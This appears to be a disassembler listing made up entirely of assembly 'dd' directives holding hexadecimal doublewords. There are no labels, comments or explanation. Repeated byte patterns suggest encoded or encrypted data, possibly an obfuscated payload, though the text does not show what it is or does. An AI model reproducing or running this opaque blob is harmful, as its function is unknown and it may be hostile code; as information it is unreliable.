		dd 23939C9Ch, 8D1EB899h, 94999F8Ch, 1F8C8D1Dh, 0D9159874h
		dd 9C587560h, 0E9179C9Ch, 802B9360h, 99B68CE9h,	4089178Ch
		dd 1D8C8D1Ch, 9C636F5Eh, 0D0899F9Ch, 0A58C8D1Eh, 18934Fh
		dd 159C9C9Ch, 9E7F5D6Fh, 0BC218817h, 0A58C9D9Ch, 9CBC8188h
		dd 19938C9Dh, 9C9C9C1Fh, 1DA08917h, 23938C8Dh, 8D1D5891h
		dd 1F569D8Ch, 88A58C76h, 9D8C7C81h, 16F4E88Ch, 0BD2CA980h
		dd 80A68C9Dh, 9DBD2CA1h, 93C4E98Ch, 8CE9A82Bh, 938C99B6h
		dd 1EA08123h, 23938C8Dh, 8D1DF489h, 1F4F9D8Ch, 42A59A77h
		dd 0A917B6E9h, 8C8D1D9Ch, 7C21A815h, 178C9D8Ch,	2A9360E9h
		dd 0BD2CA980h, 63CF8C9Dh, 9CBC29A8h, 93748C9Dh,	1F9C9CBBh
		dd 0B9779458h, 1160E917h, 0B68CE9A8h, 63FA8C99h, 638A7792h
		dd 243D60D9h, 998C8D1Dh, 9C9C9F7Dh, 9360D9A5h, 6363B51Eh
		dd 775CAD63h, 0A82B93BAh, 99B68CE1h, 8123938Ch,	8C8D1D34h
		dd 1DB8819Fh, 771F8C8Dh, 0E242A594h, 9063FA94h,	99B68CE1h
		dd 0C35CAD8Ch, 5E55C7C2h, 15C99CB8h, 99239379h,	8C8D1DDCh
		dd 0A599741Fh, 8DF08899h, 0F497EA8Ch, 8C8DF088h, 6C888963h
		dd 883D8C9Ch, 0C18C8DF0h, 0C99C985Eh, 90247915h, 749C9B83h
		dd 9C9CD5FCh, 11CBCACFh, 676D1C19h, 8963CC63h, 8C9C6CD4h
		dd 6DF01911h, 11CC6367h, 676D1C19h, 95F6CC63h, 8D1DB83Dh
		dd 95741F8Ch, 94E963CCh, 0AFB88963h, 5F158C95h,	8D1DC83Dh
		dd 58999F8Ch, 1F8C8D1Ch, 5FA58C74h, 92891993h, 19179C9Ch
		dd 63676D14h, 6D001915h, 23936367h, 8D1C3C91h, 9B751F8Ch
		dd 6D3C1115h, 11116367h, 63676D3Ch, 638F4CDh, 19178C8Dh
		dd 63676D00h, 63A417CCh, 9C9CA188h, 5F159C9Ch, 8D1D883Dh
		dd 8923938Ch, 8C8D1D98h, 741F4C9Dh, 9344A59Bh, 9C915E19h
		dd 0E019119Ch, 0CC63676Dh, 6D3C1917h, 17CC6367h, 0E4CB63A4h
		dd 0A43D5F15h, 9F8C8D1Dh, 8D1D4C99h, 9A741F8Ch,	19935FA5h
		dd 9C9C9117h, 6D351911h, 63CC6367h, 676DE029h, 0BBA97463h
		dd 581F9C9Ch, 0E0296394h, 6363676Dh, 8DECA889h,	1EA43D8Ch
		dd 89178C8Dh, 8C8D1DD4h, 201C5E9Dh, 676D0789h, 0A6E9E863h
		dd 6C892393h, 9F8C8D1Ch, 8D1C5489h, 89201C8Ch, 63676D3Bh
		dd 9FBFE9E8h, 8D1D9499h, 99201C8Ch, 63676D3Dh, 3D8FE9ECh
		dd 8C8D1D18h, 5E9D5E15h, 589201Ch, 0F463676Dh, 887599E8h
		dd 119C9C91h, 606D2819h, 1917CC63h, 63676D3Ch, 63A417CCh
		dd 9C9C080Bh, 935F159Ch, 1D8C9923h, 23938C8Dh, 8D1D7089h
		dd 1F4C9D8Ch, 5FA59874h, 0B43D88E8h, 9F8C8D1Dh,	8D1D3C99h
		dd 9B741F8Ch, 6D281915h, 19116360h, 63676D04h, 3C1917CCh
		dd 0CC63676Dh, 0CB63A417h, 3D5F15D4h, 8C8D1DD0h, 0A59A741Fh
		dd 3019935Fh, 119C9C90h, 676D0819h, 0A8F4CC63h,	178C8D06h
		dd 676D0419h, 0A417CC63h, 9CA18863h, 159C9C9Ch,	1C0C3D5Fh
		dd 23938C8Dh, 8D1D5089h, 1F4C9D8Ch, 44A59B74h, 90F51993h
		dd 19119C9Ch, 63676D0Ch, 81917CCh, 0CC63676Dh, 0CB63A417h
		dd 3D5F15C0h, 8C8D1C74h, 0A59B741Fh, 0A419935Fh, 119C9C90h
		dd 676DEC19h, 1917CC63h, 63676D0Ch, 63A417CCh, 5F15BCCBh
		dd 8D1D683Dh, 99741F8Ch, 19935FA5h, 9C9C909Bh, 8D10C0F4h
		dd 0E013748Ch, 63CC6363h, 9D9C9089h, 2019158Ch,	3D63606Dh
		dd 8C8D1D5Ch, 1DE8999Fh, 446B8C8Dh, 6D381915h, 0D4F46367h
		dd 748C8D10h, 6363E0F9h, 908963CCh, 158C9D9Ch, 606D2419h
		dd 1C683D63h, 185A8C8Dh, 606E2299h, 183DD863h, 9F8C8D1Dh
		dd 8D1EA499h, 2089178Ch, 9F8C8D1Ch, 8D1ED089h, 99761F8Ch
		dd 2D990814h, 9363606Eh, 1EA09923h, 999F8C8Dh, 8C8D1D90h
		dd 2999185Ah, 0E063606Eh, 6D351911h, 11CC6367h,	606E5C19h
		dd 8963CC63h, 8C9C6CB0h, 938C581Fh, 1E889923h, 741F8C8Dh
		dd 0E419159Fh, 9363676Dh, 1DD89923h, 999F8C8Dh,	8C8D1DE4h
		dd 1598741Fh, 676DE819h, 1C203D63h, 999F8C8Dh, 8C8D1D04h
		dd 6B9E741Fh, 3819A544h, 0E963676Dh, 301911CCh,	0CC63606Dh
		dd 6D081917h, 17CC6367h, 0A4CB63A4h, 23935F15h,	8D1EFC99h
		dd 8923938Ch, 8C8D1EDCh, 741F4C9Dh, 9344A596h, 9C965C19h
		dd 10ABF49Ch, 0A1748C8Dh, 0CC6363E5h, 6E5C2111h, 63CB6360h
		dd 9C6CB089h, 90581F8Ch, 9C9D8575h, 195BFA9Ch, 63676DD4h
		dd 19179C8Bh, 63676D38h, 6DCC1915h, 19116367h, 63676DC4h
		dd 0D41911CCh, 0CC63676Dh, 6D0C1917h, 17CC6367h, 80CA63ACh
		dd 6DE41911h, 0F4CC6367h, 8C8D0618h, 6DFC2963h,	21176367h
		dd 63676DFCh, 8863A317h, 9C9C9CA1h, 3D5F159Ch, 8C8D1E80h
		dd 1D40999Fh, 741F8C8Dh, 9344A595h, 9C96A419h, 0E819119Ch
		dd 0CC63676Dh, 6DE41917h, 17CC6367h, 4C0B63A4h,	159C9C9Ch
		dd 1D183D5Fh, 741F8C8Dh, 0E85FA594h, 0E419178Dh, 0CC63676Dh
		dd 0CA63AC17h, 969F7594h, 19119C9Ch, 63606D30h,	0E81917CCh
		dd 0CC63676Dh, 0CB63A417h, 3D5F15A4h, 8C8D1D44h, 44892393h
		dd 9D8C8D1Ch, 8C741F4Ch, 81E85FA5h, 6DE81917h, 17CC6367h
		dd 94CA63ACh, 6DE41917h, 17CC6367h, 94CA63ACh, 9C952075h
		dd 10B4F49Ch, 0A5748C8Dh, 636363E4h, 676D3829h,	2111CC63h
		dd 63606D5Dh, 0B48963CBh, 118C91C6h, 606D5D19h,	1911CC63h
		dd 63606E5Ch, 0B08963CCh, 1F8C9C6Ch, 19118458h,	63606D34h
		dd 301917CCh, 0CC63606Dh, 0CB63A417h, 935F15B8h, 1D709923h
		dd 999F8C8Dh, 8C8D1D10h, 0A59F741Fh, 0C619935Fh, 3D9C9C95h
		dd 8C8D1DA0h, 1C5C999Fh, 741F8C8Dh, 2C191596h, 7563606Dh
		dd 9C9C95B3h, 6D2C1917h, 19156360h, 63656DA4h, 0AC195BFAh
		dd 9E63656Dh, 1ED03D9Ch, 89178C8Dh, 8C8D1DB8h, 1495761Fh
		dd 6DF89908h, 19116366h, 63656DD8h, 0AC2911CCh,	1F63656Dh
		dd 7B158C70h, 9C9C9825h, 11396F9Ch, 656DAC29h, 8C701F63h
		dd 98257B15h, 6F9C9C9Ch, 30211739h, 0CB63606Dh,	0CB63A317h
		dd 3D5F15B0h, 8C8D1C54h, 0F4892393h, 9D8C8D1Eh,	9F741F4Ch
		dd 19935FA5h, 9C9C9431h, 8D1086F4h, 0EBDE748Ch,	29636363h
		dd 63606D2Ch, 5D2111CCh, 0CB63606Dh, 0C6B48963h, 19118C91h
		dd 63606D5Dh, 5C1911CCh, 0CC63606Eh, 6CB08963h,	581F8C9Ch
		dd 1D603D84h, 19158C8Dh, 63656DB0h, 6DB01911h, 0F4CC6365h
		dd 8C8D06C8h, 6DD81917h, 17CC6365h, 0A18863A4h,	9C9C9C9Ch
		dd 23935F15h, 8D1C7099h, 0F8999F8Ch, 0A58C8D1Dh, 3419935Fh
		dd 119C9C98h, 656DB419h, 1917CC63h, 63656DB0h, 63A417CCh
		dd 9C9C6C0Bh, 935F159Ch, 1D809923h, 23938C8Dh, 8D1C0889h
		dd 1F4C9D8Ch, 44A59F74h, 98F51993h, 19119C9Ch, 63656DF9h
		dd 0B42963CCh, 7463656Dh, 9C9CBEB7h, 1594581Fh,	2115DB5Bh
		dd 63656DD0h, 6DB42963h, 89636365h, 8C8DECA8h, 8D1D443Dh
		dd 58999F8Ch, 1F8C8D1Ch, 19158C74h, 63676DF4h, 1917D977h
		dd 63676DF4h, 99182293h, 63656DF9h, 1E9C8917h, 5E1F8C8Dh
		dd 0E84CA596h, 89239392h
		dd 8C8D1DB0h, 0A5995E1Fh, 178AE94Ch, 676DF419h,	88891763h
		dd 1F8C8D1Dh, 8149E76h,	656DF999h, 0F4196363h, 1763676Dh
		dd 656DD019h, 0F419A563h, 0EE63676Dh, 0F9191131h, 0CC63656Dh
		dd 6DF51911h, 74CC6366h, 9C9CDF94h, 8D1DE83Dh, 1915D48Ch
		dd 63676DF4h, 6DF41917h, 10116367h, 656DF999h, 63541F63h
		dd 9DA01CDCh, 1565E99Ch, 656DC019h, 89239363h, 8C8D1C78h
		dd 80912393h, 118C8D1Dh, 9C549608h, 4CA59C9Ch, 891791EBh
		dd 8C8D1C04h, 0A59E761Fh, 7599E94Ch, 9C9C9C52h,	44992393h
		dd 1F8C8D1Ch, 19159574h, 63656DFCh, 1917B377h, 63656DFCh
		dd 6DF4199Fh, 22936367h, 6DF99918h, 23936365h, 8D1EB889h
		dd 1091178Ch, 118C8D1Dh, 0A58296C8h, 6388E94Ch,	656DFC19h
		dd 0C0191763h, 0A563656Dh, 656DFC19h, 175FEE63h, 656DC019h
		dd 0FC19A563h, 0E863656Dh, 7CA963EDh, 178C8D1Ch, 676DF419h
		dd 99181163h, 63656DF9h, 0F51911CCh, 0CC63666Dh, 63755E74h
		dd 90581F63h, 6DB81915h, 0E83D6365h, 998C8D1Dh,	9C9C6362h
		dd 6DB819A5h, 0AAE96365h, 8D1089F4h, 0E996748Ch, 11CC6363h
		dd 666DF521h, 8963CB63h, 8C9C6CB0h, 6DF41917h, 18116367h
		dd 656DF999h, 1911CC63h, 63666DF5h, 0B08963CCh,	1F8C9C6Ch
		dd 23938858h, 8D1D5099h, 99741F8Ch, 6DC0199Fh, 199D6365h
		dd 63676DF4h, 6DD01917h, 19A56365h, 63676DF4h, 625E1E93h
		dd 3C3D6363h, 158C8D1Dh, 656DCC19h, 0F5111163h,	1F63666Dh
		dd 1CDC6354h, 0E99C9DA0h, 0C0191565h, 3D63656Dh, 8C8D1C00h
		dd 1ED4999Fh, 741F8C8Dh, 0F4191597h, 7563676Dh,	9C9C9E8Ah
		dd 50992393h, 1F8C8D1Dh, 917865Ch, 63676DF4h, 89082A93h
		dd 63666DF5h, 9BE84CA5h, 6DC4391Fh, 179C6365h, 676DF419h
		dd 182A9363h, 666DF599h, 89239363h, 8C8D1DDCh, 0A5875E1Fh
		dd 0F319934Ch, 3D9C9C9Dh, 8C8D1D74h, 0A59B741Fh, 676DF419h
		dd 341A9363h, 179C9C9Ch, 676DF419h, 84891763h, 1F8C8D1Dh
		dd 4CB59476h, 0F5991816h, 1463666Dh, 656DBF19h,	192A9363h
		dd 63656DBFh, 0B0892393h, 178C8D1Dh, 8D1C7C91h,	96C8118Ch
		dd 0E24CA586h, 3489178Fh, 1F8C8D1Ch, 899FBB5Eh,	8C8D1C5Ch
		dd 0CDE04CA5h, 0BF192A93h, 1763656Dh, 8D1D0C89h, 0EE5E1F8Ch
		dd 1C04899Fh, 4CA58C8Dh, 239389E2h, 8D1D3489h, 2091178Ch
		dd 118C8D1Ch, 0A5E396C8h, 93BEE04Ch, 6DBF192Ah,	89176365h
		dd 8C8D1C58h, 0A5AC5E1Fh, 9384E24Ch, 1DC08923h,	5E1F8C8Dh
		dd 0E14CA5A2h, 0C4195B96h, 9D63656Dh, 179C9C9Ch, 656DC019h
		dd 0F419A563h, 9363676Dh, 9C9C3D1Fh, 0F419179Ch, 1763676Dh
		dd 8D1DFC89h, 9123938Ch, 8C8D1C08h, 761F569Dh, 164C9D9Bh
		dd 6DF59918h, 19146366h, 63656DBFh, 0BF192A93h,	1763656Dh
		dd 8D1DE489h, 0EB5E1F8Ch, 91E24CA5h, 1D288917h,	5E1F8C8Dh
		dd 0E04CA5E2h, 192A93D3h, 63656DBFh, 1ED48917h,	5E1F8C8Dh
		dd 0B4899FB2h, 0A58C8D1Dh, 178FE24Ch, 8D1D4889h, 0AD5E1F8Ch
		dd 1DC8899Fh, 4CA58C8Dh, 2A93BEE0h, 656DBF19h, 0AC891763h
		dd 1F8C8D1Eh, 4CA5875Eh, 239384E2h, 8D1C4489h, 0BB5E1F8Ch
		dd 96E14CA5h, 6DC4195Bh, 9C9D6365h, 983D9C9Ch, 1F8C8D1Eh
		dd 19A79F74h, 63656DC4h, 1917BCE9h, 63656DCCh, 6DF40917h
		dd 8166367h, 666DF589h,	99081463h, 63666DF5h, 6DCC1963h
		dd 19176365h, 63676DF4h, 99182A93h, 63666DF5h, 1D5C8917h
		dd 5E1F8C8Dh, 91239385h, 8C8D1D58h, 4CA5569Dh, 195B96E9h
		dd 63656DC4h, 9C9C9C9Dh, 6DF41963h, 19176367h, 63656DC0h
		dd 6DF419A5h, 1E936367h, 63636144h, 6DCC1917h, 23936365h
		dd 8D1D5089h, 9A761F8Ch, 0F5990814h, 1763666Dh,	656DB019h
		dd 0AC17CC63h, 3D94CA63h, 8C8D1EACh, 2C892393h,	9D8C8D1Ch
		dd 9A741F4Ch, 6DC81915h, 19116365h, 63656DC8h, 6F8F4CCh
		dd 19178C8Dh, 63656DD8h, 63A417CCh, 9C9CA188h, 5F159C9Ch
		dd 8D1DF83Dh, 8923938Ch, 8C8D1EBCh, 0A5D44C9Dh,	5319935Fh
		dd 119C9C9Eh, 656DD419h, 1917CC63h, 63656DC8h, 63A417CCh
		dd 5F15F0CBh, 0F4992393h, 1F8C8D1Dh, 5FA59874h,	9E001993h
		dd 43D9C9Ch, 1F8C8D1Ch,	19159E74h, 63666DF8h, 9C9EEB75h
		dd 1D7C3D9Ch, 999F8C8Dh, 8C8D1D44h, 0CC8C741Fh,	0C6B88963h
		dd 0FAC58C91h, 6C64195Bh, 9C9E6364h, 6DF81917h,	19156366h
		dd 63646D9Ch, 6C681911h, 11CC6364h, 646C6429h, 8C701F63h
		dd 98257B15h, 6F9C9C9Ch, 64291139h, 1F63646Ch, 7B158C70h
		dd 9C9C9825h, 17396F9Ch, 656DC821h, 0A317CB63h,	15E8CB63h
		dd 9923935Fh, 8C8D1E88h, 1EAC999Fh, 741F8C8Dh, 935FA594h
		dd 9C9D6919h, 9923939Ch, 8C8D1C70h, 6D901915h, 19116364h
		dd 63646D90h, 6C8F4CCh,	19178C8Dh, 63646C68h, 63A417CCh
		dd 9C9CA188h, 5F159C9Ch, 8D1D843Dh, 95741F8Ch, 199344A5h
		dd 9C9C9D32h, 6D8C1911h, 93CC6365h, 1C449923h, 741F8C8Dh
		dd 2963CC95h, 63606D24h, 6D901917h, 17CC6364h, 0BCCB63A4h
		dd 1FFA5F15h, 656D8C21h, 8BE99463h, 88992393h, 938C8D1Eh
		dd 1D808923h, 4C9D8C8Dh, 0A59F741Fh, 7599E85Fh,	9C9C9DCAh
		dd 8D1C643Dh, 0A8999F8Ch, 178C8D1Dh, 8D1C0C89h,	10899F8Ch
		dd 0D68C8D1Dh, 99990814h, 1163646Dh, 646D8D19h,	2963CC63h
		dd 63656D84h, 9C809274h, 94581F9Ch, 6D842963h, 89636365h
		dd 8C8DECA8h, 8D1DA43Dh, 9F741F8Ch, 8D092293h, 0A563646Dh
		dd 6318934Ch, 639C9C9Ch, 606D2829h, 8D191163h, 0CC63646Dh
		dd 630C7E74h, 94581F63h, 6D8C1911h, 3DCC6365h, 8C8D1C00h
		dd 1D48999Fh, 741F8C8Dh, 2963CC8Ch, 63606D20h, 6D901917h
		dd 17CC6364h, 0BCCB63A4h, 23935F15h, 8D1D1499h,	9D5E158Ch
		dd 1DC43D5Eh, 14D48C8Dh, 7C778918h, 81A76364h, 8C8D1D9Ch
		dd 1FFAB7E9h, 656D8C21h, 0BDE99463h, 7C691911h,	63CC6364h
		dd 656D8429h, 87F17463h, 581F9C9Ch, 84296394h, 6363656Dh
		dd 8DECA889h, 1091F48Ch, 21748C8Dh, 636363F3h, 666DF829h
		dd 2111CC63h, 63606D5Dh, 0B48963CBh, 118C91C6h,	606D5D19h
		dd 1911CC63h, 63606E5Ch, 0B08963CCh, 118C9C6Ch,	647C6919h
		dd 1911CC63h, 63606E5Ch, 0B08963CCh, 0F48C9C6Ch, 8C8D1094h
		dd 63F3EB74h, 2111CC63h, 63606E5Ch, 0B08963CBh,	118C9C6Ch
		dd 646D8D19h, 1911CC63h, 63606E5Ch, 0B08963CCh,	1F8C9C6Ch
		dd 1917A858h, 63646D90h, 63AC17CCh, 191794CAh, 63646C68h
		dd 63AC17CCh, 196394CAh, 63666DF8h, 6DD41917h, 19A56365h
		dd 63666DF8h, 61EB1E93h, 19176363h, 63656DC8h, 63AC17CCh
		dd 191794CAh, 63656DD8h, 63AC17CCh, 903D94CAh, 938C8D1Dh
		dd 1C308923h, 4C9D8C8Dh, 99182A93h, 63666DC5h, 0BC892393h
		dd 1F8C8D1Dh, 4CA59F76h, 9EF4DBE8h, 748C8D10h, 6363F240h
		dd 5C2111CCh, 0CB63606Eh, 6CB08963h, 19118C9Ch,	63666DF5h
		dd 5C1911CCh, 0CC63606Eh, 6CB08963h, 61F48C9Ch,	748C8D17h
		dd 6363F22Ch, 5C2111CCh, 0CB63606Eh, 6CB08963h,	581F8C9Ch
		dd 2C1963BCh, 1763606Dh, 606D3419h, 2C19A563h, 9363606Dh
		dd 636A231Eh, 38196363h, 1763676Dh, 676DEC19h, 3819A563h
		dd 9363676Dh, 63682610h, 5C191163h, 0CC63606Eh,	0C6808963h
		dd 63C58C91h, 606D2429h, 0A8896363h, 638C8DECh,	606D2029h
		dd 0A8896363h, 178C8DECh
		dd 676D0C19h, 0AC17CC63h, 1794CA63h, 676D0819h,	0AC17CC63h
		dd 1794CA63h, 676D0419h, 0AC17CC63h, 1794CA63h,	676D0019h
		dd 0AC17CC63h, 0C394CA63h, 5F55C7C2h, 0CD7915C9h, 3DCBCACFh
		dd 8C8D1DCCh, 0CC98741Fh, 9C9C1CF4h, 3D98F69Ch,	8C8D1C24h
		dd 0CC94741Fh, 1DF8A963h, 9CF48C8Dh, 0F4DC9C9Ch, 8C95AFACh
		dd 0F0848963h, 5B158C8Dh, 43D9CF6h, 1F8C8D1Ch, 63CC9E74h
		dd 63CB90E9h, 8DECAC89h, 94D9178Ch, 541F5D15h, 0A01CDC63h
		dd 65E99C9Dh, 81175A15h, 8C8D1E94h, 0CF9E771Fh,	0CF60C111h
		dd 94E963CAh, 808963CBh, 0CB8C8DECh, 0D6D48963h, 0C2C38C95h
		dd 0F65F55C7h, 2066749Ch, 9EF66363h, 63206F74h,	94581F63h
		dd 72F4CB5Fh, 748C8D17h, 6363F1E8h, 8963CCC5h, 8C9DB904h
		dd 8D1E003Fh, 1D943D8Ch, 23938C8Dh, 8D1D1489h, 1F4C9D8Ch
		dd 99A79B74h, 8C8D1E00h, 43F48BE9h, 748C8D17h, 6363F1D8h
		dd 8963CCC5h, 8C99AF84h, 8D1E003Fh, 1757F48Ch, 0B1748C8Dh
		dd 0C56363F1h, 0A963CCh, 638C8D1Eh, 9DBD3089h, 0B69C3F8Ch
		dd 5FC38C99h, 1F7915C9h, 0CACFB470h, 90E917CBh,	0B8A117DAh
		dd 1F8C8D1Dh, 0A19F8E5Bh, 8C8D1C4Ch, 5C196C15h,	639999E1h
		dd 5D9C9C9Ch, 81179464h, 8C8D1C74h, 84819FDFh, 158C8D1Eh
		dd 4F33935Eh, 0E1154B9Dh, 196C1564h, 9999E15Ch,	9C9C6363h
		dd 938C645Dh, 1D30A123h, 23938C8Dh, 8D1D5881h, 83E0118Ch
		dd 935F1596h, 0A1174333h, 8C8D1DB4h, 9F855B1Fh,	8D1EB0A1h
		dd 15679D8Ch, 239368C1h, 8D1D70A1h, 196C158Ch, 9999E15Ch
		dd 9C9C9C63h, 9394645Dh, 1EDC8123h, 5F1F8C8Dh, 935E158Ch
		dd 0E0114F33h, 0E1158E8Bh, 6B6C156Ch, 0D91568F9h, 9C63B978h
		dd 74CC9C9Ch, 636328B6h, 0C1145F15h, 1DF83D73h,	5C1F8C8Dh
		dd 892393D9h, 8C8D1DF4h, 33934C9Dh, 9C63B95Ah, 74CC9C9Ch
		dd 9C9C8061h, 0C1145F15h, 6B6C1572h, 0D9156CF9h, 9C63B97Ch
		dd 74CC9C9Ch, 63632F72h, 0C1145F15h, 1EF03D71h,	5C1F8C8Dh
		dd 5C999FBAh, 938C8D1Ch, 63B95A33h, 0CC9C9C9Ch,	9C805874h
		dd 145F159Ch, 0D43D70C1h, 1F8C8D1Dh, 999FF95Ch,	8C8D1D68h
		dd 0B95A3393h, 9C9C9C63h, 803F74CCh, 5F159C9Ch,	1577C114h
		dd 9C63B96Ch, 74CC9C9Ch, 63632F06h, 0C1145F15h,	6B6C1576h
		dd 0D91564F9h, 9C63B940h, 74CC9C9Ch, 63632F1Eh,	0C1145F15h
		dd 1EC43D63h, 5C1F8C8Dh, 5C999F96h, 158C8D1Ch, 4C33936Eh
		dd 63B94C15h, 0CC9C9C9Ch, 9C80C874h, 145F159Ch,	239375C1h
		dd 8D1D0899h, 0A05C1F8Ch, 0B95A3393h, 9C9C9C63h, 2FDC74CCh
		dd 581F6363h, 145F15B8h, 2A9374C1h, 641563E1h, 0A917744Dh
		dd 8C8D1D88h, 0BC812393h, 9D8C8D1Eh, 7A6BD242h,	1544D915h
		dd 0E95BA55Ah, 172DF4DAh, 0DD748C8Dh, 936363F7h, 0CB74E12Ah
		dd 72E12A93h, 0E12A93CBh, 2A93CB73h, 93CB70E1h,	0CB76E12Ah
		dd 77E12A93h, 0E12A93CBh, 2A93CB71h, 93CB75E1h,	0CB63E12Ah
		dd 94E963CCh, 0C6B48963h, 581F8C91h, 0F4D877ACh, 8C8D170Ah
		dd 63F66774h, 0E12A9363h, 2A93CB74h, 93CB72E1h,	0CB73E12Ah
		dd 70E12A93h, 0E12A93CBh, 2A93CB76h, 93CB77E1h,	0CB71E12Ah
		dd 75E12A93h, 0E12A93CBh, 63CCCB63h, 896394E9h,	8C91C6B4h
		dd 0C3AC581Fh, 5F55C7C2h, 247915C9h, 9C9D9C14h,	9CAB0B74h
		dd 0CBCACF9Ch, 5CD95BFAh, 14F49C94h, 748C8D17h,	6363F079h
		dd 8963CCC5h, 8C9D9C90h, 1154D915h, 11CC48D9h, 701F5CE9h
		dd 257B158Ch, 9C9C9C98h, 0E117396Fh, 0A317CB90h, 15ACCB63h
		dd 1D943D5Fh, 741F8C8Dh, 0E85FA59Eh, 755CAD9Bh,	9C9C9BABh
		dd 0CC40D911h, 8D06D8F4h, 48D9178Ch, 63A417CCh,	9C9CA188h
		dd 5F159C9Ch, 44992393h, 1F8C8D1Ch, 44A59574h, 9B9E1993h
		dd 0D9119C9Ch, 0D917CC44h, 0A417CC40h, 15B8CB63h, 1D243D5Fh
		dd 741F8C8Dh, 935FA59Bh, 9C9A4619h, 1C683D9Ch, 999F8C8Dh
		dd 8C8D1DD0h, 1594741Fh, 247578D9h, 179C9C9Ah, 0D91578D9h
		dd 0D95BFA6Ch, 119C9E74h, 11CC60D9h, 701F74E9h,	257B158Ch
		dd 9C9C9C98h, 0E911396Fh, 8C701F74h, 98257B15h,	6F9C9C9Ch
		dd 40E11739h, 63A317CBh, 5F15B0CBh, 8D1D783Dh, 8923938Ch
		dd 8C8D1D50h, 741F4C9Dh, 935FA597h, 9C9AFF19h, 1DD43D9Ch
		dd 999F8C8Dh, 8C8D1C64h, 1597741Fh, 62632019h, 20191163h
		dd 0CC636263h, 8D06C8F4h, 60D9178Ch, 63A417CCh,	9C9CA188h
		dd 5F159C9Ch, 50992393h, 1F8C8D1Dh, 5FA59A74h, 99721993h
		dd 7C3D9C9Ch, 9F8C8D1Dh, 8D1D1899h, 8D741F8Ch, 632019A5h
		dd 18936362h, 9C9C9948h, 0CC7CD911h, 63201917h,	17CC6362h
		dd 640B63A4h, 159C9C9Ch, 9923935Fh, 8C8D1EF4h, 0A59F741Fh
		dd 31199344h, 119C9C99h, 62635D19h, 0E963CC63h,	8829747Ch
		dd 383D9C9Ch, 938C8D1Ch, 1C308923h, 4C9D8C8Dh, 0CC93741Fh
		dd 99AF9CF4h, 5D19118Ch, 0CC636263h, 63411274h,	88581F63h
		dd 1DC8A117h, 5B1D8C8Dh, 9C9C6368h, 1C4CA19Fh, 5BA58C8Dh
		dd 99C21893h, 683D9C9Ch, 1F8C8D1Dh, 0D9A59874h,	1781E98Ch
		dd 62632019h, 0AC17CC63h, 1794CA63h, 17CC60D9h,	94CA63ACh
		dd 75DC5CADh, 9C9C9917h, 8D1C003Dh, 9B741F8Ch, 63181915h
		dd 19116362h, 63626318h, 6E8F4CCh, 0D9178C8Dh, 0A417CC60h
		dd 9CA18863h, 159C9C9Ch, 9923935Fh, 8C8D1EDCh, 935FA5D4h
		dd 9C986719h, 37195A9Ch, 0D8636263h, 8D17E3F4h,	0F4F6748Ch
		dd 0A1176363h, 8C8D1C4Ch, 1ECCA19Fh, 731F8C8Dh,	11CCCB99h
		dd 62635D21h, 7C74CB63h, 1F636340h, 0A9178C58h,	8C8D1C48h
		dd 63645A1Dh, 6CA59C9Ch, 195A9BE8h, 63626337h, 17EBF4DFh
		dd 0B5748C8Dh, 176363F4h, 8D1EF8A1h, 38A19F8Ch,	1F8C8D1Ch
		dd 0CCCB9773h, 635D2111h, 74CB6362h, 63634003h,	178C581Fh
		dd 8D1DA4A9h, 695A1D8Ch, 939C9C63h, 1C3C8923h, 4A9D8C8Dh
		dd 9BE86CA5h, 6337195Ah, 0F4CC6362h, 8C8D17F3h,	63FB4374h
		dd 0A1239363h, 8C8D1C2Ch, 2111CCCBh, 6362635Dh,	40C174CBh
		dd 581F6363h, 0A923938Ch, 8C8D1D58h, 159F721Fh,	156B9D5Bh
		dd 62630021h, 2C211563h, 17636263h, 62632C19h, 99201C63h
		dd 6362635Dh, 6394E8BAh, 62632C19h, 17747763h, 62632C19h
		dd 89239363h, 8C8D1EC8h, 1C20899Fh, 761F8C8Dh, 99081494h
		dd 6362635Dh, 63001917h, 18116362h, 62635D99h, 8963CC63h
		dd 8C9D9C80h, 631C1915h, 0F4F46362h, 748C8D17h,	6363FBC8h
		dd 1D6CA117h, 23938C8Dh, 8D1EB4A9h, 1F6B9D8Ch, 0CCCB9273h
		dd 635D2111h, 74CB6362h, 6363475Bh, 9388581Fh, 1D98A923h
		dd 0A99F8C8Dh, 8C8D1C64h, 159A721Fh, 156B9D5Bh,	62630021h
		dd 2C211563h, 17636263h, 62632C19h, 99201C63h, 6362635Dh
		dd 6394E8BAh, 62632C19h, 17747763h, 62632C19h, 89239363h
		dd 8C8D1C44h, 1495761Fh, 635D9908h, 19176362h, 63626300h
		dd 5D991811h, 0CC636263h, 9C808963h, 15C58C9Dh,	62633819h
		dd 1E803D63h, 19A58C8Dh, 6362631Ch, 9C0C1B93h, 983D9C9Ch
		dd 938C8D1Eh, 1D588923h, 4C9D8C8Dh, 1596741Fh, 62632419h
		dd 17F97763h, 62632421h, 0A1881663h, 8C9DBD2Ch,	633709A6h
		dd 0D6E96362h, 939E7B5Dh, 1EA0A923h, 0A99F8C8Dh, 8C8D1C40h
		dd 0A596721Fh, 8C7CA1A8h, 0B2E88C9Dh, 63382917h, 0A8A56362h
		dd 9D9CBCA1h, 1783E98Ch, 62632421h, 58A91763h, 938C8D1Ch
		dd 1D708923h, 4A9D8C8Dh
		dd 1590721Fh, 8C7C21A8h, 19638C9Dh, 63626324h, 8D1E943Dh
		dd 9F7A998Ch, 19A59C9Ch, 63626324h, 896315EEh, 8C8DC7ECh
		dd 633C1915h, 0B43D6362h, 1F8C8D1Dh, 19159B74h,	63626328h
		dd 2117F977h, 63626328h, 179E7B5Dh, 0D6CCA1A8h,	89178C95h
		dd 8C8D1C00h, 76C55E1Dh, 23939C9Ch, 8D1DB091h, 4D33938Ch
		dd 29A74A9Dh, 6362633Ch, 0A917B3EFh, 8C8D1D7Ch,	0A595721Fh
		dd 8C7CA1A8h, 81E88C9Dh, 63282117h, 23936362h, 8D1EA0A9h
		dd 98A99F8Ch, 1F8C8D1Eh, 0A8159A72h, 9D8C7C21h,	2819638Ch
		dd 3D636263h, 8C8D1D60h, 9C9F7B99h, 28999F9Ch, 0A58C8D1Dh
		dd 62632819h, 3D1FEE63h, 8C8D1ED0h, 1C34999Fh, 741F8C8Dh
		dd 30191591h, 77636263h, 302117B4h, 93636263h, 1D14A923h
		dd 23938C8Dh, 8D1D5489h, 1F4A9D8Ch, 0A8A59072h,	9D8C7C21h
		dd 6384E88Ch, 62633019h, 1E803D63h, 74998C8Dh, 0A59C9C9Fh
		dd 62633019h, 175AEE63h, 62633021h, 94E91763h, 0FC21A815h
		dd 158C9C6Ch, 37091664h, 14636263h, 0BD2C9988h,	29178C9Dh
